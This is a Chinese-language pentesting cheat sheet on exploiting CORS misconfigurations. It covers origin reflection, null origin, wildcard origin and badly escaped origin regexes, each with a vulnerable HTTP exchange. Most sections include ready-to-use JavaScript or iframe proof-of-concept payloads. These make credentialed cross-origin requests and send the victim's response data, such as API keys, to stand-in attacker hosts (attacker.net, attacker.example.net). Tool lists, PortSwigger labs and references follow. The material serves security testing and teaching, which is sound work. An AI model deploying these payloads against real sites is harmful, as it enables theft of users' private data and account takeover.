CORS 配置错误 (CORS Misconfiguration)
针对某个 API 域存在全站范围的 CORS 配置错误。这允许攻击者代表用户发起跨源请求,因为应用程序没有对 Origin 标头进行白名单过滤,并且设置了
Access-Control-Allow-Credentials: true,这意味着我们可以从攻击者的网站利用受害者的凭据发起请求。
摘要 (Summary)
工具 (Tools)
- s0md3v/Corsy - CORS 配置错误扫描器
- chenjj/CORScanner - 快速 CORS 配置错误漏洞扫描器
- @honoki/PostMessage - POC 生成器
- trufflesecurity/of-cors - 在内部网络中利用 CORS 配置错误
- omranisecurity/CorsOne - 快速 CORS 配置错误发现工具
要求 (Requirements)
- 攻击者标头 (BURP HEADER)>
Origin: https://evil.com - 受害者响应标头 (VICTIM HEADER)>
Access-Control-Allow-Credential: true - 受害者响应标头 (VICTIM HEADER)>
Access-Control-Allow-Origin: https://evil.com或Access-Control-Allow-Origin: null
方法论 (Methodology)
通常您的目标是 API 端点。使用以下 Payload 利用目标 https://victim.example.com/endpoint 上的 CORS 配置错误。
源反射 (Origin Reflection)
有漏洞的实现
GET /endpoint HTTP/1.1
Host: victim.example.com
Origin: https://evil.com
Cookie: sessionid=...
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
{"[私有 API 密钥]"}
概念验证 (Proof Of Concept)
此 PoC 要求对应的 JS 脚本托管在 evil.com 上
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://victim.example.com/endpoint',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//attacker.net/log?key='+this.responseText;
};
或者
<html>
<body>
<h2>CORS PoC</h2>
<div id="demo">
<button type="button" onclick="cors()">利用</button>
</div>
<script>
function cors() {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhr.open("GET",
"https://victim.example.com/endpoint", true);
xhr.withCredentials = true;
xhr.send();
}
</script>
</body>
</html>
空源 (Null Origin)
有漏洞的实现
服务器可能不会反射完整的 Origin 标头,但允许 null 源。这在服务器的响应中如下所示:
GET /endpoint HTTP/1.1
Host: victim.example.com
Origin: null
Cookie: sessionid=...
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
{"[私有 API 密钥]"}
概念验证 (PoC)
可以通过使用 data URI 方案将攻击代码放入 iframe 来利用此漏洞。如果使用 data URI 方案,浏览器在请求中将使用 null 源:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://victim.example.com/endpoint',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.example.net/log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
受信任源上的 XSS (XSS on Trusted Origin)
如果应用程序确实实现了严格的允许源白名单,上述利用代码将不起作用。但如果您在受信任的源上发现了 XSS,则可以注入上述利用代码,从而再次利用 CORS。
无凭据的通配符源 (Wildcard Origin without Credentials)
如果服务器响应通配符源 *,浏览器永远不会发送 Cookie。但是,如果服务器不需要身份验证,仍然可以访问服务器上的数据。这可能发生在无法从互联网访问的内部服务器上。攻击者的网站随后可以以此为跳板进入内部网络,并在无需身份验证的情况下访问服务器数据。
有漏洞的实现
GET /endpoint HTTP/1.1
Host: api.internal.example.com
Origin: https://evil.com
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
{"[私有 API 密钥]"}
概念验证 (PoC)
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://api.internal.example.com/endpoint',true);
req.send();
function reqListener() {
location='//attacker.net/log?key='+this.responseText;
};
扩展源 (Expanding the Origin)
有时,原始源的某些扩展在服务器端没有被过滤。这可能是由于使用了实现不佳的正则表达式来验证 Origin 标头造成的。
有漏洞的实现(示例 1)
在这种情况下,服务器将接受 example.com 前面的任何前缀。
GET /endpoint HTTP/1.1
Host: api.example.com
Origin: https://evilexample.com
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evilexample.com
Access-Control-Allow-Credentials: true
{"[私有 API 密钥]"}
概念验证(示例 1)
此 PoC 要求对应的 JS 脚本托管在 evilexample.com 上
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://api.example.com/endpoint',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//attacker.net/log?key='+this.responseText;
};
有漏洞的实现(示例 2)
在这种情况下,服务器使用的正则表达式中点号(dot)没有被正确转义。例如:使用 ^api.example.com$ 而不是 ^api\.example.com$. 因此,点号可以被替换为任何字母,从而从第三方域获取访问权限。
GET /endpoint HTTP/1.1
Host: api.example.com
Origin: https://apiiexample.com
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://apiiexample.com
Access-Control-Allow-Credentials: true
{"[私有 API 密钥]"}
概念验证(示例 2)
此 PoC 要求对应的 JS 脚本托管在 apiiexample.com 上
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://api.example.com/endpoint',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//attacker.net/log?key='+this.responseText;
};
实验环境 (Labs)
- PortSwigger - 具有基本源反射的 CORS 漏洞
- PortSwigger - 具有受信任空源的 CORS 漏洞
- PortSwigger - 具有受信任不安全协议的 CORS 漏洞
- PortSwigger - 具有内部网络跳转攻击的 CORS 漏洞
参考资料 (References)
- [██████] 跨源资源共享 (CORS) 配置错误 - Vadim (jarvis7) - 2018年12月20日
- 高级 CORS 利用技术 - Corben Leo - 2018年6月16日
- CORS 配置错误 | 账户接管 - Rohan (nahoragg) - 2018年10月20日
- 导致私有信息泄露的 CORS 配置错误 - sandh0t (sandh0t) - 2018年10月29日
- www.zomato.com 上的 CORS 配置错误 - James Kettle (albinowax) - 2016年9月15日
- CORS 配置错误解析 - Detectify Blog - 2018年4月26日
- 跨源资源共享 (CORS) - PortSwigger Web Security Academy - 2019年12月30日
- 跨源资源共享配置错误 | 窃取用户信息 - bughunterboy (bughunterboy) - 2017年6月1日
- 为了比特币和赏金利用 CORS 配置错误 - James Kettle - 2016年10月14日
- 利用配置错误的 CORS - Geekboy - 2016年12月16日
- 跳出范围思考:高级 CORS 利用技术 - Ayoub Safa (Sandh0t) - 2019年5月14日